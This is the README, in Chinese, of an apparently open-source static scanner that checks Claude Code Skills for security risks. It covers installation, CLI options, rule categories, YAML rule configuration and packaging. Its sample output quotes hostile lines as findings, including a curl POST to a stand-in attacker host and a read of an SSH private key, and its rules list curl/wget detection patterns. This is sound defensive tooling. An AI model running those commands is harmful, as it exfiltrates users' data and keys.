huifer

skill-security-scan

# Skill-Security-Scanner > 🔍 Claude Skills 安全扫描工具 - 保护你的开发环境 [](https://www.python.org/) [](LICENSE) [](https://github.com/huifer/skill-security-scan) **[English Documentation](README_EN.md)** | **中文文档** ## 📖 简介 **skill-security-scan** 是一个命令行工具，用于扫描和检测 Claude Skills 的安全风险。在安装第三方 Skills 前，使用此工具进行安全审查，有效防止恶意代码窃取数据或破坏系统。 本项目由 [WellAlly Technology](https://www.wellally.tech/) 开发者发起并维护，致力于为开发者社区提供安全可靠的工具。 ### ⚠️ 为什么需要 skill-security-scan？ 在本地 Claude Code 中使用 Skills 存在以下安全风险： 1. **完整文件系统访问** - Skills 可以读取任意文件，包括 SSH 密钥、API 密钥等 2. **网络访问能力** - Skills 可以向外部服务器发送数据 3. **脚本执行权限** - Skills 可以执行任意系统命令 4. **依赖破坏** - Skills 可能修改全局依赖，破坏其他项目 ## ✨ 特性 - 🔍 **全面安全检测** - 网络、文件、命令、代码注入等多维度检测 - 🎯 **智能风险评分** - 自动计算风险分数和等级 - 🎨 **多种输出格式** - HTML 报告（默认）、彩色终端、JSON 报告 - 🌍 **国际化支持** - 支持中文和英文界面 - 📁 **智能路径扫描** - 自动扫描 `.claude/skills/` 目录和当前目录 - ⚙️ **灵活配置** - 自定义规则、白名单管理 - 🚀 **高性能** - 快速扫描大型项目 ## 🚀 快速开始 ### 安装 ```bash # 克隆仓库 git clone https://github.com/huifer/skill-security-scan cd skill-security-scan # 安装包（可编辑模式） pip install -e . # 或使用 pip 直接安装 pip install skill-security-scan ``` ### 基本使用 ```bash # 扫描当前目录和 .claude/skills/（默认行为） skill-security-scan scan # 扫描指定路径（仍会自动包含 .claude/skills/） skill-security-scan scan /path/to/skill # 扫描并生成指定名称的 HTML 报告 skill-security-scan scan --output my_report.html # 生成 JSON 报告 skill-security-scan scan --format json --output report.json # 仅控制台输出（不生成 HTML 文件） skill-security-scan scan --format console # 使用自定义规则 skill-security-scan scan --rules custom-rules.yaml # 只显示严重问题 skill-security-scan scan --severity CRITICAL # 使用英文界面 skill-security-scan scan --lang en_US ``` ## 📋 命令选项 ```bash skill-security-scan scan [OPTIONS] [PATHS]... Options: -r, --recursive 递归扫描子目录 -o, --output FILE 输出报告文件（HTML 默认自动生成文件名） -f, --format FORMAT 报告格式 [console|json|html]（默认: html） --rules FILE 自定义规则文件 --severity LEVEL 最低显示级别 [CRITICAL|WARNING|INFO]（默认: INFO） --no-color 禁用彩色输出 --fail-on LEVEL 遇到指定级别错误时退出码非0 --lang LANG 界面语言 [zh_CN|en_US]（默认: zh_CN） Arguments: PATHS 要扫描的路径（可选，默认扫描当前目录和 .claude/skills/） ``` **说明**: - 未指定路径时，默认扫描当前目录（`.`）和 `.claude/skills/` 目录 - 指定路径时，仍会自动扫描 `.claude/skills/` 目录（如果存在） - HTML 格式为默认输出，会自动生成带时间戳的文件名（如 `skill_scan_report_20231229_113252.html`） - 控制台始终会显示扫描摘要，无论使用何种报告格式 ## 🎯 检测规则 ### 🔴 CRITICAL (严重) - **NET001**: 外部网络请求到非官方域名 - **FILE001**: 访问敏感文件（SSH 密钥、.env 等） - **FILE002**: 危险文件操作（rm -rf /, chmod 777） - **CMD001**: 执行危险系统命令（sudo, dd） - **INJ001**: 代码注入模式 - **INJ003**: 后门植入 ### 🟡 WARNING (警告) - **CMD002**: 系统命令调用（os.system, subprocess） - **INJ002**: 动态代码执行（eval, exec） - **DEP001**: 全局包安装 - **DEP002**: 强制版本覆盖 ### 🔵 INFO (提示) - 代码混淆模式 - 隐藏命令 ## 📊 输出示例 ### HTML 报告（默认） 默认生成美观的 HTML 报告，包含： - 📊 可视化风险仪表板 - 🔍 可按严重级别筛选的问题列表 - 📈 交互式图表和统计 - 📱 响应式设计，支持移动端查看 - 🌍 中英文界面自动切换 HTML 报告会在浏览器中打开，方便详细审查和分析。 ### 控制台输出 ``` [*] 扫描 Skills: - /path/to/skill - .claude\skills [!] Risk Level: CRITICAL (10.0/10) [!] CRITICAL 问题 (67 个): [NET001] in SKILL.md:15 Pattern: curl -X POST https://attacker-server.com/collect Confidence: 高 [FILE001] in scripts/setup.sh:8 Pattern: cat ~/.ssh/id_rsa Confidence: 高 [CMD001] in SKILL.md:23 Pattern: rm -rf /tmp/* Confidence: 中 [*] WARNING 问题 (61 个): [CMD002] in SKILL.md:46 Pattern: os.system("unknown command") Confidence: 中 还有 57 个 [*] 摘要: Total Files Scanned: 7 Critical Issues: 67 Warning Issues: 61 Info Issues: 0 Total Issues: 128 [*] 建议: 请勿使用 - 检测到严重安全风险 Report saved to: skill_scan_report_20231229_113252.html ``` ## ⚙️ 配置 ### 规则配置 编辑 `config/rules.yaml` 来自定义检测规则： ```yaml network_rules: - id: NET001 name: "外部网络请求" severity: CRITICAL patterns: - "curl\\s+.*http" - "wget\\s+" description: "检测到向外发送数据的网络请求" allowed_domains: - "api.anthropic.com" - "github.com" ``` ### 白名单管理 ```bash # 添加规则到白名单 skill-security-scan whitelist add NET001 # 查看白名单 skill-security-scan whitelist list # 从白名单移除 skill-security-scan whitelist remove NET001 ``` ## 🧪 测试 ```bash # 运行测试 pytest tests/ # 运行测试并覆盖 pytest tests/ --cov=src --cov-report=html ``` ## 📦 打包成可执行文件 项目可以使用 PyInstaller 打包成独立的可执行文件，无需安装 Python 环境即可运行。 ### 打包步骤 1. **安装 PyInstaller** ```bash pip install pyinstaller ``` 2. **执行打包命令** ```bash # 使用项目中的 spec 文件打包 pyinstaller skill-security-scan.spec --clean ``` 3. **获取可执行文件** 打包完成后，可执行文件位于 `dist/skill-security-scan.exe`（Windows）或 `dist/skill-security-scan`（Linux/macOS）。 文件大小约 10MB，包含了所有必要的依赖和配置文件。 ### 使用可执行文件 ```bash # 直接运行，无需安装 Python ./dist/skill-security-scan.exe --help # 扫描目录 ./dist/skill-security-scan.exe scan /path/to/skill # 生成报告 ./dist/skill-security-scan.exe scan --output report.html ``` ### 打包文件说明 - **skill-security-scan.spec** - PyInstaller 配置文件 - 定义了打包入口点为 `standalone_cli.py` - 包含了 `config/*.yaml` 配置文件 - 包含了整个 `src/` 目录 - 设置了 UTF-8 编码支持，解决 Windows 中文显示问题 - **standalone_cli.py** - 可执行文件入口点 - 处理 PyInstaller 打包后的路径问题 - 使用 `runpy.run_module()` 执行 CLI 模块 - 自动修复 Windows 控制台编码问题 - **dist/skill-security-scan.exe** - 最终可执行文件 - 可独立运行，无需 Python 环境 - 支持所有 CLI 功能 - 可直接复制到其他机器使用 ### 跨平台打包 ```bash # Windows pyinstaller skill-security-scan.spec --clean # Linux/macOS pyinstaller skill-security-scan.spec --clean ``` 注意：可执行文件需要在目标操作系统上打包，或使用对应的虚拟环境打包。 ## 📁 项目结构 ``` skill-security-scan/ ├── src/ │ ├── scanner/ # 扫描引擎 │ ├── rules/ # 安全规则 │ ├── reporters/ # 报告生成器（Console, JSON, HTML） │ ├── i18n/ # 国际化文件（中文、英文） │ ├── config_loader.py # 配置加载器 │ ├── rules_factory.py # 规则工厂 │ └── cli.py # 命令行接口 ├── config/ # 配置文件 │ ├── rules.yaml # 安全检测规则 │ └── whitelist.yaml # 白名单配置 ├── tests/ # 测试用例 │ ├── skills/ # 测试用 Skills │ └── test_*.py # 单元测试 ├── examples/ # 示例 Skills └── docs/ # 文档 ``` ## 🔒 安全性 - ✅ 只进行静态分析，不执行 Skill 代码 - ✅ 输入路径验证，防止路径遍历 - ✅ 资源使用限制（CPU、内存） - ✅ 规则签名验证 ## 🤝 贡献 欢迎贡献！请查看 [CONTRIBUTING.md](CONTRIBUTING.md) 了解详情。 1. Fork 本仓库 2. 创建特性分支 (`git checkout -b feature/AmazingFeature`) 3. 提交更改 (`git commit -m 'Add some AmazingFeature'`) 4. 推送到分支 (`git push origin feature/AmazingFeature`) 5. 开启 Pull Request ## 📄 许可证 MIT License - 查看 [LICENSE](LICENSE) 文件了解详情 ## 🙏 致谢 - 感谢所有贡献者 - 感谢 Anthropic 提供 Claude Code 平台 ## 📮 联系方式 - 问题反馈: [GitHub Issues](https://github.com/huifer/skill-security-scan/issues) - 邮箱: [email protected] - 网站: https://www.wellally.tech/ --- **⚠️ 免责声明**: 此工具不能保证 100% 检测所有安全风险。请始终谨慎使用第三方 Skills，并在隔离环境中测试。 --- ## 📚 相关文档 - [技术论文 (中文)](docs/articles/ZH_SKILL_SECURITY_SCANNER_TECHNICAL_ARTICLE.md) - 系统架构与实现详解 - [Technical Paper (English)](docs/articles/EN_SKILL_SECURITY_SCANNER_TECHNICAL_ARTICLE.md) - Architecture and Implementation - [安全分析 (中文)](docs/articles/ZH_SKILLS_SECURITY_ANALYSIS.md) - Skills 生态安全风险评估 - [Security Analysis (English)](docs/articles/EN_SKILLS_SECURITY_ANALYSIS.md) - Security Risk Assessment - [工作流程图](docs/WORKFLOW_DIAGRAMS.md) - 业务执行逻辑详解 --- **中文文档** | **[English Documentation](README_EN.md)**